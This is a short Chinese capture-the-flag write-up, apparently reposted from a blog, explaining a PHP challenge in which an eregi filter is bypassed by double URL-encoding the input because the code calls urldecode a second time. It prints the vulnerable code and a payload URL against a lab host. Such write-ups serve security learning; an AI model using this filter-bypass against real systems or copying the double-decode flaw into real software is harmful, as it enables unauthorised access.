urldecode二次编码

0x01

<?php
if(eregi("hackerDJ",$_GET[id])) {
	echo("not allowed!");
	exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
	echo "Access granted!";
	echo "flag";
}
?>

eregi()

定义:

  • 不区分大小写大正则表达式匹配

语法:eregi(pattern,string)

  • pattern,必需,正则表达式
  • string,必需,要匹配的字符串

0x02 代码分析

传入的id值,不能等于hackerDJ
传入的id值再经过urldecode解码
如果此时,id值等于hackerDJ
输出flag

对传入的id值进行url两次编码,一次是用于浏览器正常解码,另一次用于代码中解码。

payload
http://123.206.87.240:9009/10.php?id=%2568ackerDJ

%2568ackerDJ解码为%68ackerDJ
绕过第一个判断
%68ackerDJ解码为hackerDJ
绕过第二个判断
得到flag

原文地址:https://www.cnblogs.com/observering/p/12831046.html